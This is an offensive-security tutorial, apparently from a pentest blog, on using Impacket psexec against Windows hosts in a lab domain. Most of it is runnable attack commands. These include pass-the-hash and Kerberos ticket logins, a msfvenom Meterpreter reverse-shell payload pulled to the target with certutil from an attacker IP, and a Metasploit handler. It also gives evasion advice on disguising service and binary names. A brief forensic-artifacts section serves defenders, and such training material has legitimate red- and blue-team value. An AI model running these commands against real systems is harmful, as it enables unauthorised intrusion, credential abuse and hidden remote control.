Impacket PSExec is a Python-based implementation of the classic Sysinternals PsExec tool, part of the Impacket framework developed and maintained by Fortra, LLC. It enables remote command execution on Windows systems over SMB (Server Message Block) without requiring the original Sysinternals binary, making it an essential tool in penetration testing, red team operations, and Active Directory attack simulations.

Core Capabilities

• Remote command execution on Windows systems via SMB
• Multiple authentication methods: password, NTLM hash, Kerberos, AES key
• Interactive shell or single-command execution
• Custom payload/binary delivery and execution
• Timestamp logging for audit trails
• Pass-the-Hash (PtH) attacks without cleartext passwords
• Kerberos ticket-based authentication (Pass-the-Ticket)

Table of Contents

1. Introduction
2. Core Capabilities
3. Command Syntax & Options
4. Authentication Methods
   • Plaintext Password Authentication
   • Pass-the-Hash (NTLM)
   • Kerberos Authentication (Pass-the-Ticket)
   • AES Key Authentication
5. Execution Techniques
   • Interactive PowerShell Shell
   • Timestamp Logging (-ts)
   • Single Command Execution
6. Payload Delivery & Execution
   • Generating Payload (msfvenom)
   • Hosting Payload (HTTP Server)
   • Downloading via certutil
   • Executing Payload
   • Reverse Shell with Metasploit
7. Advanced Options
   • Custom Service Name (-service-name)
   • Custom Remote Binary Name (-remote-binary-name)
   • Custom Working Directory (-path)
   • Delivering Custom Payload (-file)
8. Detection & Forensic Artifacts
   • Windows Event Logs
   • File System Artifacts
   • Network Indicators
   • Registry Artifacts
9. Quick Reference Commands

Command Syntax & Options

The general syntax for impacket-psexec is:

impacket-psexec -h

Authentication Methods

Impacket PSExec supports four distinct authentication approaches, making it versatile across different attack scenarios encountered in penetration tests.

Plaintext Password Authentication

The most straightforward method — embed credentials directly in the target string:

impacket-psexec ignite.local/administrator:Ignite@987@192.168.1.11

In this example: ignite.local is the domain, administrator is the username, Ignite@987 is the password (note: passwords with special characters like @ may need quoting), and 192.168.1.11 is the target IP.

Pass-the-Hash (PtH) with NTLM Hashes

Pass-the-Hash allows authentication using a captured NTLM hash without knowing the plaintext password. This is one of the most powerful lateral movement techniques in Windows environments:

impacket-psexec ignite.local/administrator@192.168.1.11 -hashes :32196B56FFE6F45E294117B91A83BF38

The hash format is LMHASH:NTHASH. When only the NT hash is known (the most common scenario), use a colon prefix:

Kerberos Authentication (Pass-the-Ticket)

When Kerberos tickets have been captured or forged (e.g., Golden Ticket, Silver Ticket, or TGT from AS-REP roasting), PSExec can authenticate using them:

# Step 1: Set the ccache file containing the Kerberos ticket

export KRB5CCNAME=administrator.ccache

# Step 2: Use -k -no-pass flags (no password needed)

impacket-psexec ignite.local/administrator@dc.ignite.local -k -no-pass

The KRB5CCNAME environment variable points to the ccache file containing the Kerberos credentials. The -k flag enables Kerberos mode, and -no-pass prevents PSExec from prompting for a password since the ticket handles authentication.

AES Key Authentication

AES keys extracted from domain controllers or memory can be used directly for Kerberos authentication:

impacket-psexec ignite.local/administrator@dc.ignite.local -aesKey 7c1baf269d1918e4a0b02d4420fa0b2b62c8d4eab7cde8d2adafc5c547283940

Both 128-bit (32 hex characters) and 256-bit (64 hex characters) AES keys are supported. These keys can be extracted using tools like Mimikatz or secretsdump.py.

Interactive PowerShell Shell

Appending powershell.exe as the command argument launches an interactive PowerShell session instead:

impacket-psexec ignite.local/administrator:Ignite@987@192.168.1.11 powershell.exe

PowerShell sessions provide richer capabilities including .NET access, WMI interaction, and access to the full PowerShell ecosystem for post-exploitation activities.

Timestamp Logging (-ts)

Adding the -ts flag prepends ISO timestamps to every log line, which is essential for documentation and evidence collection during engagements:

impacket-psexec ignite.local/administrator:Ignite@987@192.168.1.11 -ts

Output lines will be prefixed with timestamps like [2026-03-21 17:14:53], making it easy to correlate actions with timeline evidence during report writing or incident analysis.

Single Command Execution

PSExec can execute a single command and return its output without opening an interactive shell — ideal for automation and scripting:

impacket-psexec ignite.local/administrator:Ignite@987@192.168.1.11 "ipconfig /all"

The command must be quoted if it contains spaces or special characters. After execution completes, the service is stopped and cleaned up automatically.

File Delivery & Custom Payload Execution

A powerful use case for PSExec is delivering a payload to the remote system and executing it — enabling full Meterpreter sessions or custom tooling without manually copying files.

Generating a Payload with msfvenom

First, create a reverse TCP Meterpreter payload using msfvenom:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.17 lport=1234 -f exe > shell.exe

Parameters: -p windows/x64/meterpreter/reverse_tcp specifies the 64-bit Windows Meterpreter payload; lhost is the attacker’s IP for the callback; lport is the listening port.

Hosting the Payload via HTTP

Serve the payload file using Python’s built-in HTTP server so the target can download it:

python3 -m http.server 80

This starts a web server on port 80 in the current directory, making shell.exe accessible at http://192.168.1.17/shell.exe.

 

Downloading Payload to the Target

Use certutil — a built-in Windows tool — via PSExec to download the payload to the remote system:

impacket-psexec administrator:Ignite@987@192.168.1.11 "certutil -urlcache -split -f http://192.168.1.17/shell.exe C:\\shell.exe"

certutil -urlcache -split -f is a classic Living-off-the-Land (LotL) technique — using a trusted Windows binary to download files, bypassing restrictions on PowerShell downloads in hardened environments.

Executing the Delivered Payload

Once the payload is on the target, execute it via PSExec:

impacket-psexec ignite.local/administrator:Ignite@987@192.168.1.11 "C:\\shell.exe"

Catching the Reverse Shell in Metasploit

On the attacker machine, set up the multi/handler listener before executing the payload:

msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.17
set lport 1234
run

Upon successful callback, a Meterpreter session opens. The sysinfo command confirms the target identity:

Custom Service Name (-service-name)

The -service-name flag overrides the random four-character service name with a name you choose — in this case igniteservice. This is useful during a penetration test when you want your service to blend in with legitimate-sounding service names, or when you need a consistent name for multi-stage payloads.

impacket-psexec ignite.local/administrator:Ignite@987@192.168.1.11 -service-name igniteservice

As confirmed in the Task Manager Services tab screenshot, the service appears running with PID 5760 and the description igniteservice — exactly as specified.

Custom Remote Binary Name (-remote-binary-name)

By default, impacket-psexec uploads a randomly named .exe file. The -remote-binary-name flag lets you control exactly what the binary is named on the remote host. In the example, the file is saved as svcvol (without an extension) inside C:\Windows\ — and importantly, it has a blank/generic icon, making it slightly harder to spot at a quick glance in Explorer.

 Stealth implication: A file named something like svcvol sitting in C:\Windows\ with no extension can masquerade as a legitimate system utility if a defender only does a quick visual scan. Compare this to the toRyVQuV.exe screenshot where the .exe extension and installer-style icon are immediately conspicuous.

impacket-psexec ignite.local/administrator:Ignite@987@192.168.1.11 -remote-binary-name svcvol

Custom Working Directory (-path)

The -path flag changes both the upload location of the binary and the initial working directory of the spawned shell. In the example, the shell starts at C:\temp> instead of the default C:\Windows\system32>.

impacket-psexec ignite.local/administrator:Ignite@987@192.168.1.11 -path "C:/temp"

• Writing to a less-monitored directory that may have weaker file-integrity monitoring
• Matching the expected working directory needed by a second-stage payload
• Avoiding ADMIN$ if only a different share (mapped to a non-Windows path) is writable

Delivering a Custom Payload (-file)

First, create a reverse TCP Meterpreter payload using msfvenom:

msfvenom -p windows/x64/shell_reverse_tcp lhost=eth0 lport=4444 -f exe >shell.exe

The –file flag instructs impacket-psexec to upload your local binary (shell.exe) as the remote service binary instead of cmd.exe. The tool still handles all the SCM plumbing — it renames the uploaded file (e.g. lIWIWumZ.exe), registers a service (e.g. BXKW), and starts it.

The rlwrap wrapper provides readline support (history, arrow keys) for the otherwise dumb netcat shell. Once the service starts on the target, it connects back to the attacker’s listener and you receive a SYSTEM shell.

Detection & Forensic Artifacts

Understanding what PSExec leaves behind is critical for both red teamers (to reduce their footprint) and blue teamers (to build detection rules):

Windows Event Logs

File System Artifacts

• Randomly named .exe uploaded to C:\Windows (via ADMIN$ share)
• Service binary may persist briefly if cleanup is interrupted
• Prefetch entries for the executed binary name

Network Indicators

• SMB traffic (port 445) from attacker to target
• Service control manager (SVCCTL) named pipe activity
• RPC endpoint mapper traffic during service creation

Registry Artifacts

• Service key created under: HKLM\SYSTEM\CurrentControlSet\Services\<random_name>
• Service key removed after session ends, but may be visible in registry hive backups